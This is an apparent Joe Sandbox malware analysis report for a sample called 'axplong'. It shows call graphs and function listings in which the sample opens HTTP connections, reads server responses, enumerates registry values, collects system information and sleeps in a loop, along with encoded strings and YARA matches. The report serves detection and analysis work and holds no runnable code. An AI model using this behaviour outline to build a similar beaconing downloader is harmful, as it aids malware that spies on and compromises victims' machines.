                        Function 05110448 Relevance: 1.3, Strings: 1, Instructions: 39COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: 23bf363ba235bd8c8807bad58c7fee50e79560f4cf7985d2116d3e39087303c1
                        • Instruction ID: 132ab663c455c4ac9f44c9d8b18286440a7e6f195b76d14f4687418a6038404f
                        • Opcode Fuzzy Hash: 23bf363ba235bd8c8807bad58c7fee50e79560f4cf7985d2116d3e39087303c1
                        • Instruction Fuzzy Hash: BFF027BB998250AFC25296A04A9C5F77F39B9C623433145FAF4C297503D3D84F894635

                        Execution Graph

                        Execution Coverage:6.9%
                        Dynamic/Decrypted Code Coverage:0%
                        Signature Coverage:6.5%
                        Total number of Nodes:541
                        Total number of Limit Nodes:33
                        execution_graph 13213 d46974 13214 d46982 13213->13214 13215 d4698c 13213->13215 13216 d468bd 2 API calls 13215->13216 13217 d469a6 __freea 13216->13217 12991 d186b0 12993 d186b6 12991->12993 12992 d186d6 12993->12992 12994 d466e7 2 API calls 12993->12994 12995 d186d0 12994->12995 13072 d1e410 13073 d1e435 13072->13073 13075 d1e419 13072->13075 13075->13073 13076 d1e270 13075->13076 13077 d1e280 __dosmaperr 13076->13077 13078 d48979 2 API calls 13077->13078 13081 d1e2bd std::_Xinvalid_argument 13078->13081 13079 d1e435 13079->13075 13080 d1e270 2 API calls 13080->13081 13081->13079 13081->13080 13100 d1dfd0 recv 13101 d1e032 recv 13100->13101 13102 d1e067 recv 13101->13102 13104 d1e0a1 13102->13104 13103 d1e1c3 13104->13103 13105 d2c5dc GetSystemTimePreciseAsFileTime 13104->13105 13106 d1e1fe 13105->13106 13107 d2c19a 7 API calls 13106->13107 13108 d1e268 13107->13108 12633 d21dd0 12636 d21e6b shared_ptr __dosmaperr 12633->12636 12634 d1e440 5 API calls 12635 d22936 shared_ptr std::_Xinvalid_argument 12634->12635 12636->12635 12643 d21e78 12636->12643 12648 d48979 12636->12648 12639 d22265 shared_ptr 12639->12635 12639->12643 12652 d466e7 12639->12652 12640 d2268b shared_ptr __dosmaperr 12640->12635 12641 d48979 2 API calls 12640->12641 12642 d22759 12641->12642 12642->12635 12642->12643 12644 d227d1 12642->12644 12643->12634 12656 d1e440 12644->12656 12646 d22843 12646->12635 12672 d15df0 12646->12672 12649 d48994 12648->12649 12679 d486d7 12649->12679 12651 d4899e 12651->12639 12653 d466f3 12652->12653 12654 d466fd __cftof __dosmaperr 12653->12654 12765 d46670 12653->12765 12654->12640 12657 d1e489 12656->12657 12788 d1bd60 12657->12788 12659 d1e9a9 shared_ptr 12659->12646 12660 d1e711 12660->12659 12661 d1e440 5 API calls 12660->12661 12663 d1f696 12661->12663 12662 d1f892 shared_ptr 12662->12646 12663->12662 12664 d1e440 5 API calls 12663->12664 12666 d1f973 12664->12666 12665 d1fa45 shared_ptr 12665->12646 12666->12665 12667 d1e440 5 API calls 12666->12667 12669 d2054c 12667->12669 12668 d20790 shared_ptr 12668->12646 12669->12668 12670 d1e440 5 API calls 12669->12670 12671 d211f9 12670->12671 12674 d15e28 12672->12674 12673 d15f0e shared_ptr 12673->12635 12674->12673 12675 d16060 RegOpenKeyExA 12674->12675 12676 d1645a shared_ptr 12675->12676 12678 d160b3 __cftof 12675->12678 12676->12635 12677 d16153 RegEnumValueW 12677->12678 12678->12676 12678->12677 12680 d486e9 12679->12680 12684 d486fe __cftof __dosmaperr 12680->12684 12685 d4683a 12680->12685 12683 d4872e 12683->12684 12691 d48925 12683->12691 12684->12651 12686 d46851 12685->12686 12687 d4685a 12685->12687 12686->12683 12687->12686 12697 d4b4bb 12687->12697 12692 d48962 12691->12692 12694 d48932 12691->12694 12758 d4d2e9 12692->12758 12695 d48941 __fassign 12694->12695 12753 d4d30d 12694->12753 12695->12683 12698 d46890 12697->12698 12699 d4b4ce 12697->12699 12701 d4b4e8 12698->12701 12699->12698 12705 d4f46b 12699->12705 12702 d4b510 12701->12702 12703 d4b4fb 12701->12703 12702->12686 12703->12702 12736 d4e571 12703->12736 12706 d4f477 __cftof 12705->12706 12707 d4f4c6 12706->12707 12710 d48aaf 12706->12710 12707->12698 12709 d4f4eb 12711 d48ab4 __cftof 12710->12711 12715 d48abf 12711->12715 12719 d4d4f4 12711->12719 12714 d48af2 __cftof __dosmaperr 12714->12709 12716 d4651d 12715->12716 12724 d463f7 12716->12724 12720 d4d500 __cftof 12719->12720 12721 d4651d __cftof 2 API calls 12720->12721 12722 d4d55c __cftof __dosmaperr 12720->12722 12723 d4d6ee __cftof __dosmaperr 12721->12723 12722->12715 12723->12715 12725 d46405 __cftof 12724->12725 12726 d46450 12725->12726 12729 d4645b 12725->12729 12726->12714 12734 d4a1c2 GetPEB 12729->12734 12731 d46465 12732 d4646a GetPEB 12731->12732 12733 d4647a __cftof 12731->12733 12732->12733 12735 d4a1dc __cftof 12734->12735 12735->12731 12737 d4e57b 12736->12737 12740 d4e489 12737->12740 12739 d4e581 12739->12702 12741 d4e495 __cftof __freea 12740->12741 12742 d48aaf __cftof 2 API calls 12741->12742 12743 d4e4b6 12741->12743 12744 d4e528 12742->12744 12743->12739 12745 d4e564 12744->12745 12749 d4a5ee 12744->12749 12745->12739 12750 d4a611 12749->12750 12751 d48aaf __cftof 2 API calls 12750->12751 12752 d4a687 12751->12752 12754 d4683a __cftof 2 API calls 12753->12754 12755 d4d32a 12754->12755 12757 d4d33a 12755->12757 12762 d4f07f 12755->12762 12757->12695 12759 d4d2f4 12758->12759 12760 d4b4bb __cftof 2 API calls 12759->12760 12761 d4d304 12760->12761 12761->12695 12763 d4683a __cftof 2 API calls 12762->12763 12764 d4f09f __cftof __fassign __freea 12763->12764 12764->12757 12766 d46692 12765->12766 12768 d4667d __cftof __dosmaperr __freea 12765->12768 12766->12768 12769 d49ef9 12766->12769 12768->12654 12770 d49f36 12769->12770 12771 d49f11 12769->12771 12770->12768 12771->12770 12773 d502f8 12771->12773 12774 d50304 12773->12774 12776 d5030c __cftof __dosmaperr 12774->12776 12777 d503ea 12774->12777 12776->12770 12778 d50410 __cftof __dosmaperr 12777->12778 12779 d5040c 12777->12779 12778->12776 12779->12778 12781 d4fb7f 12779->12781 12782 d4fbcc 12781->12782 12783 d4683a __cftof 2 API calls 12782->12783 12786 d4fbdb __cftof 12783->12786 12784 d4d2e9 2 API calls 12784->12786 12785 d4c4ea GetPEB GetPEB __fassign 12785->12786 12786->12784 12786->12785 12787 d4fe7b 12786->12787 12787->12778 12789 d1bdb2 12788->12789 12792 d1c14e shared_ptr 12788->12792 12790 d1bdc6 InternetOpenW InternetConnectA 12789->12790 12789->12792 12791 d1be3d 12790->12791 12793 d1be53 HttpOpenRequestA 12791->12793 12792->12660 12794 d1be71 shared_ptr 12793->12794 12795 d1bf13 HttpSendRequestA 12794->12795 12797 d1bf2b shared_ptr 12795->12797 12796 d1bfb3 InternetReadFile 12798 d1bfda 12796->12798 12797->12796 13218 d29310 13219 d29325 13218->13219 13223 d29363 13218->13223 13220 d2d041 SleepConditionVariableCS 13219->13220 13221 d2932f 13220->13221 13222 d2cff7 RtlWakeAllConditionVariable 13221->13222 13221->13223 13222->13223 12996 d2b85e 13001 d2b6e5 12996->13001 12998 d2b886 13009 d2b648 12998->13009 13000 d2b89f 13002 d2b6f1 Concurrency::details::_Reschedule_chore 13001->13002 13003 d2b722 13002->13003 13019 d2c5dc 13002->13019 13003->12998 13007 d2b70c __Mtx_unlock 13008 d12ad0 7 API calls 13007->13008 13008->13003 13010 d2b654 Concurrency::details::_Reschedule_chore 13009->13010 13011 d2c5dc GetSystemTimePreciseAsFileTime 13010->13011 13012 d2b6ae 13010->13012 13013 d2b669 13011->13013 13012->13000 13014 d12ad0 7 API calls 13013->13014 13015 d2b66f __Mtx_unlock 13014->13015 13016 d12ad0 7 API calls 13015->13016 13017 d2b68c __Cnd_broadcast 13016->13017 13017->13012 13018 d12ad0 7 API calls 13017->13018 13018->13012 13027 d2c382 13019->13027 13021 d2b706 13022 d12ad0 13021->13022 13023 d12ada 13022->13023 13024 d12adc 13022->13024 13023->13007 13044 d2c19a 13024->13044 13028 d2c3d8 13027->13028 13030 d2c3aa 13027->13030 13028->13030 13033 d2ce9b 13028->13033 13030->13021 13031 d2c42d __Xtime_diff_to_millis2 13031->13030 13032 d2ce9b _xtime_get GetSystemTimePreciseAsFileTime 13031->13032 13032->13031 13034 d2ceaa 13033->13034 13036 d2ceb7 __aulldvrm 13033->13036 13034->13036 13037 d2ce74 13034->13037 13036->13031 13040 d2cb1a 13037->13040 13041 d2cb2b GetSystemTimePreciseAsFileTime 13040->13041 13043 d2cb37 13040->13043 13041->13043 13043->13036 13045 d2c1c2 13044->13045 13046 d2c1a4 13044->13046 13045->13045 13046->13045 13048 d2c1c7 13046->13048 13051 d12aa0 13048->13051 13050 d2c1de std::_Throw_future_error 13050->13046 13065 d2be0f 13051->13065 13053 d12abf 13053->13050 13054 d48aaf __cftof 2 API calls 13056 d46c26 13054->13056 13055 d12ab4 13055->13053 13055->13054 13057 d46c35 13056->13057 13058 d46c43 13056->13058 13059 d46c99 6 API calls 13057->13059 13060 d468bd 2 API calls 13058->13060 13061 d46c3f 13059->13061 13062 d46c5d 13060->13062 13061->13050 13063 d46c99 6 API calls 13062->13063 13064 d46c71 __freea 13062->13064 13063->13064 13064->13050 13068 d2cb61 13065->13068 13069 d2cb6f InitOnceExecuteOnce 13068->13069 13071 d2be22 13068->13071 13069->13071 13071->13055 13120 d46559 13121 d463f7 __cftof 2 API calls 13120->13121 13122 d4656a 13121->13122 13082 d17400 13083 d17435 shared_ptr 13082->13083 13087 d1752f shared_ptr 13083->13087 13088 d2d041 13083->13088 13085 d175bd 13085->13087 13092 d2cff7 13085->13092 13089 d2d052 13088->13089 13091 d2d05a 13089->13091 13096 d2d0c9 13089->13096 13091->13085 13093 d2d007 13092->13093 13094 d2d0af 13093->13094 13095 d2d0ab RtlWakeAllConditionVariable 13093->13095 13094->13087 13095->13087 13097 d2d0d7 SleepConditionVariableCS 13096->13097 13099 d2d0f0 13096->13099 13097->13099 13099->13089 12865 d26ae0 12866 d26b10 12865->12866 12869 d246c0 12866->12869 12868 d26b5c Sleep 12868->12866 12872 d246fb 12869->12872 12886 d24d80 shared_ptr 12869->12886 12870 d24e69 shared_ptr 12870->12868 12873 d1bd60 5 API calls 12872->12873 12872->12886 12884 d24753 shared_ptr __dosmaperr 12873->12884 12874 d24f25 shared_ptr 12875 d24fee shared_ptr 12874->12875 12879 d26ab6 12874->12879 12905 d17d00 12875->12905 12877 d24ffd 12911 d182b0 12877->12911 12881 d246c0 13 API calls 12879->12881 12880 d24a0d 12882 d1bd60 5 API calls 12880->12882 12880->12886 12883 d26b5c Sleep 12881->12883 12887 d24a72 shared_ptr 12882->12887 12883->12879 12884->12880 12885 d48979 2 API calls 12884->12885 12885->12880 12886->12870 12897 d165b0 12886->12897 12887->12886 12890 d242a0 12887->12890 12889 d25016 shared_ptr 12889->12868 12891 d242e2 12890->12891 12893 d24556 12891->12893 12895 d24308 shared_ptr 12891->12895 12892 d24520 shared_ptr 12892->12886 12894 d23550 11 API calls 12893->12894 12894->12892 12895->12892 12915 d23550 12895->12915 12898 d1660f 12897->12898 12899 d12280 2 API calls 12898->12899 12900 d16699 shared_ptr 12899->12900 12901 d16822 shared_ptr 12900->12901 12902 d12280 2 API calls 12900->12902 12901->12874 12903 d16727 shared_ptr 12902->12903 12903->12901 12904 d12280 2 API calls 12903->12904 12904->12903 12906 d17d66 shared_ptr __cftof 12905->12906 12907 d17ea3 GetNativeSystemInfo 12906->12907 12908 d17eb8 shared_ptr 12906->12908 12909 d17ea7 12906->12909 12907->12909 12908->12877 12909->12908 12988 d48a81 12909->12988 12914 d18315 shared_ptr __cftof 12911->12914 12912 d18454 GetNativeSystemInfo 12913 d18333 12912->12913 12913->12889 12914->12912 12914->12913 12916 d2358f shared_ptr 12915->12916 12922 d23ab2 shared_ptr std::_Xinvalid_argument 12915->12922 12920 d238f5 shared_ptr __dosmaperr 12916->12920 12916->12922 12926 d1aca0 12916->12926 12917 d48979 2 API calls 12919 d23a8a 12917->12919 12921 d23e52 12919->12921 12919->12922 12924 d23b9d 12919->12924 12920->12917 12920->12922 12946 d22e20 12921->12946 12922->12895 12931 d21dd0 12924->12931 12928 d1adf0 __cftof 12926->12928 12927 d1ae16 shared_ptr 12927->12920 12928->12927 12961 d15500 12928->12961 12930 d1af7e 12934 d21e6b shared_ptr __dosmaperr 12931->12934 12932 d1e440 5 API calls 12933 d22936 shared_ptr std::_Xinvalid_argument 12932->12933 12933->12922 12934->12933 12935 d48979 2 API calls 12934->12935 12941 d21e78 12934->12941 12937 d22265 shared_ptr 12935->12937 12936 d466e7 2 API calls 12938 d2268b shared_ptr __dosmaperr 12936->12938 12937->12933 12937->12936 12937->12941 12938->12933 12939 d48979 2 API calls 12938->12939 12940 d22759 12939->12940 12940->12933 12940->12941 12942 d227d1 12940->12942 12941->12932 12943 d1e440 5 API calls 12942->12943 12944 d22843 12943->12944 12944->12933 12945 d15df0 2 API calls 12944->12945 12945->12933 12947 d22ec5 __cftof 12946->12947 12948 d232f2 InternetCloseHandle InternetCloseHandle 12947->12948 12949 d23331 12948->12949 12950 d1e440 5 API calls 12949->12950 12951 d23423 shared_ptr 12950->12951 12953 d1aca0 2 API calls 12951->12953 12955 d238f5 shared_ptr __dosmaperr 12951->12955 12958 d2351a shared_ptr std::_Xinvalid_argument 12951->12958 12952 d48979 2 API calls 12954 d23a8a 12952->12954 12953->12955 12956 d23e52 12954->12956 12954->12958 12959 d23b9d 12954->12959 12955->12952 12955->12958 12957 d22e20 9 API calls 12956->12957 12957->12958 12958->12922 12960 d21dd0 9 API calls 12959->12960 12960->12958 12962 d15520 12961->12962 12964 d15620 12962->12964 12965 d12280 12962->12965 12964->12930 12968 d12240 12965->12968 12969 d12256 12968->12969 12972 d48667 12969->12972 12975 d47456 12972->12975 12974 d12264 12974->12962 12976 d47496 12975->12976 12978 d4747e __cftof __dosmaperr 12975->12978 12977 d4683a __cftof 2 API calls 12976->12977 12976->12978 12979 d474ae 12977->12979 12978->12974 12981 d47a11 12979->12981 12983 d47a22 12981->12983 12982 d47a31 __cftof __dosmaperr 12982->12978 12983->12982 12984 d47fb5 GetPEB GetPEB 12983->12984 12985 d47c0f GetPEB GetPEB 12983->12985 12986 d47c35 GetPEB GetPEB 12983->12986 12987 d47d83 GetPEB GetPEB 12983->12987 12984->12983 12985->12983 12986->12983 12987->12983 12989 d486d7 2 API calls 12988->12989 12990 d48a9f 12989->12990 12990->12908 13123 d2a140 13124 d2a1c0 13123->13124 13130 d27040 13124->13130 13126 d2a3ee shared_ptr 13127 d2a1fc shared_ptr 13127->13126 13134 d13ea0 13127->13134 13129 d2a3d6 13131 d27081 __cftof __Mtx_init_in_situ 13130->13131 13133 d272b6 13131->13133 13140 d12e80 13131->13140 13133->13127 13135 d13f08 13134->13135 13136 d13ede 13134->13136 13137 d13f18 13135->13137 13183 d12bc0 13135->13183 13136->13129 13137->13129 13141 d12ec6 13140->13141 13149 d12f2f 13140->13149 13142 d2c5dc GetSystemTimePreciseAsFileTime 13141->13142 13143 d12ed2 13142->13143 13144 d12fde 13143->13144 13148 d12edd __Mtx_unlock 13143->13148 13145 d2c19a 7 API calls 13144->13145 13146 d12fe4 13145->13146 13147 d2c19a 7 API calls 13146->13147 13151 d12f79 13147->13151 13148->13146 13148->13149 13150 d2c5dc GetSystemTimePreciseAsFileTime 13149->13150 13159 d12faf 13149->13159 13150->13151 13152 d2c19a 7 API calls 13151->13152 13153 d12f80 __Mtx_unlock 13151->13153 13152->13153 13154 d2c19a 7 API calls 13153->13154 13155 d12f98 __Cnd_broadcast 13153->13155 13154->13155 13156 d2c19a 7 API calls 13155->13156 13155->13159 13157 d12ffc 13156->13157 13158 d2c5dc GetSystemTimePreciseAsFileTime 13157->13158 13169 d13040 shared_ptr __Mtx_unlock 13158->13169 13159->13133 13160 d13185 13161 d2c19a 7 API calls 13160->13161 13162 d1318b 13161->13162 13163 d2c19a 7 API calls 13162->13163 13164 d13191 13163->13164 13165 d2c19a 7 API calls 13164->13165 13171 d13153 __Mtx_unlock 13165->13171 13166 d13167 13166->13133 13167 d2c19a 7 API calls 13168 d1319d 13167->13168 13169->13160 13169->13162 13169->13166 13170 d2c5dc GetSystemTimePreciseAsFileTime 13169->13170 13172 d1311f 13170->13172 13171->13166 13171->13167 13172->13160 13172->13164 13172->13171 13174 d2bc7c 13172->13174 13177 d2baa2 13174->13177 13176 d2bc8c 13176->13172 13178 d2bacc 13177->13178 13179 d2ce9b _xtime_get GetSystemTimePreciseAsFileTime 13178->13179 13182 d2bad4 __Xtime_diff_to_millis2 13178->13182 13180 d2baff __Xtime_diff_to_millis2 13179->13180 13181 d2ce9b _xtime_get GetSystemTimePreciseAsFileTime 13180->13181 13180->13182 13181->13182 13182->13176 13184 d12bce 13183->13184 13190 d2b777 13184->13190 13186 d12c02 13187 d12c09 13186->13187 13196 d12c40 13186->13196 13187->13129 13189 d12c18 std::_Throw_future_error 13191 d2b784 13190->13191 13195 d2b7a3 Concurrency::details::_Reschedule_chore 13190->13195 13199 d2caa7 13191->13199 13193 d2b794 13193->13195 13201 d2b74e 13193->13201 13195->13186 13207 d2b72b 13196->13207 13198 d12c72 shared_ptr 13198->13189 13200 d2cac2 CreateThreadpoolWork 13199->13200 13200->13193 13202 d2b757 Concurrency::details::_Reschedule_chore 13201->13202 13205 d2ccfc 13202->13205 13204 d2b771 13204->13195 13206 d2cd11 TpPostWork 13205->13206 13206->13204 13208 d2b737 13207->13208 13209 d2b747 13207->13209 13208->13209 13211 d2c9a8 13208->13211 13209->13198 13212 d2c9bd TpReleaseWork 13211->13212 13212->13209 13224 d28700 13225 d2875a __cftof 13224->13225 13231 d29ae0 13225->13231 13227 d28784 13230 d2879c 13227->13230 13235 d143b0 13227->13235 13229 d28809 std::_Throw_future_error 13232 d29b15 13231->13232 13241 d12ca0 13232->13241 13234 d29b46 13234->13227 13236 d2be0f InitOnceExecuteOnce 13235->13236 13237 d143ca 13236->13237 13238 d143d1 13237->13238 13239 d46beb 6 API calls 13237->13239 13238->13229 13240 d143e4 13239->13240 13242 d12cdd 13241->13242 13243 d2be0f InitOnceExecuteOnce 13242->13243 13245 d12d06 13243->13245 13244 d12d11 13244->13234 13245->13244 13247 d12d48 13245->13247 13250 d2be27 13245->13250 13257 d12400 13247->13257 13251 d2be33 std::_Throw_future_error 13250->13251 13252 d2bea3 13251->13252 13253 d2be9a 13251->13253 13255 d12aa0 7 API calls 13252->13255 13260 d2bdaf 13253->13260 13256 d2be9f 13255->13256 13256->13247 13278 d2b506 13257->13278 13259 d12432 13261 d2cb61 InitOnceExecuteOnce 13260->13261 13262 d2bdc7 13261->13262 13263 d2bdce 13262->13263 13266 d46beb 13262->13266 13263->13256 13265 d2bdd7 13265->13256 13267 d46bf7 13266->13267 13268 d48aaf __cftof 2 API calls 13267->13268 13269 d46c26 13268->13269 13270 d46c35 13269->13270 13271 d46c43 13269->13271 13272 d46c99 6 API calls 13270->13272 13273 d468bd 2 API calls 13271->13273 13274 d46c3f 13272->13274 13275 d46c5d 13273->13275 13274->13265 13276 d46c99 6 API calls 13275->13276 13277 d46c71 __freea 13275->13277 13276->13277 13277->13265 13280 d2b521 std::_Throw_future_error 13278->13280 13279 d48aaf __cftof 2 API calls 13281 d2b5cf 13279->13281 13280->13279 13282 d2b588 __cftof 13280->13282 13282->13259 13109 d2b7e9 13110 d2b6e5 8 API calls 13109->13110 13111 d2b811 Concurrency::details::_Reschedule_chore 13110->13111 13114 d2b836 13111->13114 13116 d2cade 13111->13116 13113 d2b648 8 API calls 13115 d2b84e 13113->13115 13114->13113 13117 d2cafc 13116->13117 13118 d2caec TpCallbackUnloadDllOnCompletion 13116->13118 13117->13114 13118->13117 12799 d46beb 12800 d46bf7 12799->12800 12801 d48aaf __cftof 2 API calls 12800->12801 12802 d46c26 12801->12802 12803 d46c35 12802->12803 12804 d46c43 12802->12804 12805 d46c99 6 API calls 12803->12805 12811 d468bd 12804->12811 12807 d46c3f 12805->12807 12808 d46c5d 12810 d46c71 __freea 12808->12810 12814 d46c99 12808->12814 12812 d4683a __cftof 2 API calls 12811->12812 12813 d468cf 12812->12813 12813->12808 12815 d46cc4 __cftof 12814->12815 12820 d46ca7 __cftof __dosmaperr 12814->12820 12816 d46d06 CreateFileW 12815->12816 12822 d46cea __cftof __dosmaperr 12815->12822 12817 d46d38 12816->12817 12818 d46d2a 12816->12818 12835 d46d77 12817->12835 12823 d46e01 GetFileType 12818->12823 12820->12810 12822->12810 12824 d46e3c __cftof 12823->12824 12834 d46ed2 __dosmaperr 12823->12834 12825 d46e75 GetFileInformationByHandle 12824->12825 12824->12834 12826 d46e8b 12825->12826 12825->12834 12840 d470c9 12826->12840 12830 d46ea8 12831 d46f71 SystemTimeToTzSpecificLocalTime 12830->12831 12832 d46ebb 12831->12832 12833 d46f71 SystemTimeToTzSpecificLocalTime 12832->12833 12833->12834 12834->12822 12836 d46d85 12835->12836 12837 d46d8a __dosmaperr 12836->12837 12838 d470c9 2 API calls 12836->12838 12837->12822 12839 d46da3 12838->12839 12839->12822 12841 d470df _wcsrchr 12840->12841 12844 d46e97 12841->12844 12854 d4b9e4 12841->12854 12843 d47123 12843->12844 12845 d4b9e4 2 API calls 12843->12845 12850 d46f71 12844->12850 12846 d47134 12845->12846 12846->12844 12847 d4b9e4 2 API calls 12846->12847 12848 d47145 12847->12848 12848->12844 12849 d4b9e4 2 API calls 12848->12849 12849->12844 12851 d46f89 12850->12851 12852 d46fa9 SystemTimeToTzSpecificLocalTime 12851->12852 12853 d46f8f 12851->12853 12852->12853 12853->12830 12855 d4b9f2 12854->12855 12858 d4b9f8 __cftof __dosmaperr 12855->12858 12859 d4ba2d 12855->12859 12857 d4ba28 12857->12843 12858->12843 12860 d4ba57 12859->12860 12863 d4ba3d __cftof __dosmaperr 12859->12863 12861 d4683a __cftof 2 API calls 12860->12861 12860->12863 12862 d4ba81 12861->12862 12862->12863 12864 d4b9a5 GetPEB GetPEB 12862->12864 12863->12857 12864->12862

                        Executed Functions

                        Function 00D1BD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310networkfileCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 760 d1bd60-d1bdac 761 d1c1a1-d1c1c6 call d27f30 760->761 762 d1bdb2-d1bdb6 760->762 767 d1c1f4-d1c20c 761->767 768 d1c1c8-d1c1d4 761->768 762->761 764 d1bdbc-d1bdc0 762->764 764->761 766 d1bdc6-d1be4f InternetOpenW InternetConnectA call d27870 call d15b20 764->766 792 d1be51 766->792 793 d1be53-d1be6f HttpOpenRequestA 766->793 773 d1c212-d1c21e 767->773 774 d1c158-d1c170 767->774 771 d1c1d6-d1c1e4 768->771 772 d1c1ea-d1c1f1 call d2d593 768->772 771->772 778 d1c26f-d1c274 call d46b9a 771->778 772->767 780 d1c224-d1c232 773->780 781 d1c14e-d1c155 call d2d593 773->781 775 d1c243-d1c25f call d2cf21 774->775 776 d1c176-d1c182 774->776 782 d1c239-d1c240 call d2d593 776->782 783 d1c188-d1c196 776->783 780->778 789 d1c234 780->789 781->774 782->775 783->778 791 d1c19c 783->791 789->781 791->782 792->793 798 d1be71-d1be80 793->798 799 d1bea0-d1bf0f call d27870 call d15b20 call d27870 call d15b20 793->799 800 d1be82-d1be90 798->800 801 d1be96-d1be9d call d2d593 798->801 812 d1bf11 799->812 813 d1bf13-d1bf29 HttpSendRequestA 799->813 800->801 801->799 812->813 814 d1bf2b-d1bf3a 813->814 815 d1bf5a-d1bf82 813->815 816 d1bf50-d1bf57 call d2d593 814->816 817 d1bf3c-d1bf4a 814->817 818 d1bfb3-d1bfd4 InternetReadFile 815->818 819 d1bf84-d1bf93 815->819 816->815 817->816 820 d1bfda 818->820 822 d1bf95-d1bfa3 819->822 823 d1bfa9-d1bfb0 call d2d593 819->823 824 d1bfe0-d1c090 call d44180 820->824 822->823 823->818
                        APIs
                        • InternetOpenW.WININET(00D68D70,00000000,00000000,00000000,00000000), ref: 00D1BDEC
                        • InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00D1BE10
                        • HttpOpenRequestA.WININET(?,00000000), ref: 00D1BE5A
                        • HttpSendRequestA.WININET(?,00000000), ref: 00D1BF1A
                        • InternetReadFile.WININET(?,?,000003FF,?), ref: 00D1BFCC
                        • InternetCloseHandle.WININET(?), ref: 00D1C0A7
                        • InternetCloseHandle.WININET(?), ref: 00D1C0AF
                        • InternetCloseHandle.WININET(?), ref: 00D1C0B7
                        Strings
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
                        • String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$invalid stoi argument$stoi argument out of range
                        • API String ID: 688256393-332458646
                        • Opcode ID: d8a92d7f59359513fb0684d748da57a05a9062fc7b08bbcfedf6fa9ac44c2145
                        • Instruction ID: 0a43eb59105a058489f4007c5ab37a122da1bf8ba738406e9fb4b9b13c914fb5
                        • Opcode Fuzzy Hash: d8a92d7f59359513fb0684d748da57a05a9062fc7b08bbcfedf6fa9ac44c2145
                        • Instruction Fuzzy Hash: EEB1E4B0650218ABEB24CF28DC85BEDBBB5EF45304F5041A9F50897282DB759AC4CFB5
                        Function 00D246C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00D27870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00D2795C
                          • Part of subcall function 00D27870: __Cnd_destroy_in_situ.LIBCPMT ref: 00D27968
                          • Part of subcall function 00D27870: __Mtx_destroy_in_situ.LIBCPMT ref: 00D27971
                          • Part of subcall function 00D1BD60: InternetOpenW.WININET(00D68D70,00000000,00000000,00000000,00000000), ref: 00D1BDEC
                          • Part of subcall function 00D1BD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00D1BE10
                          • Part of subcall function 00D1BD60: HttpOpenRequestA.WININET(?,00000000), ref: 00D1BE5A
                        • std::_Xinvalid_argument.LIBCPMT ref: 00D24EA2
                        Strings
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
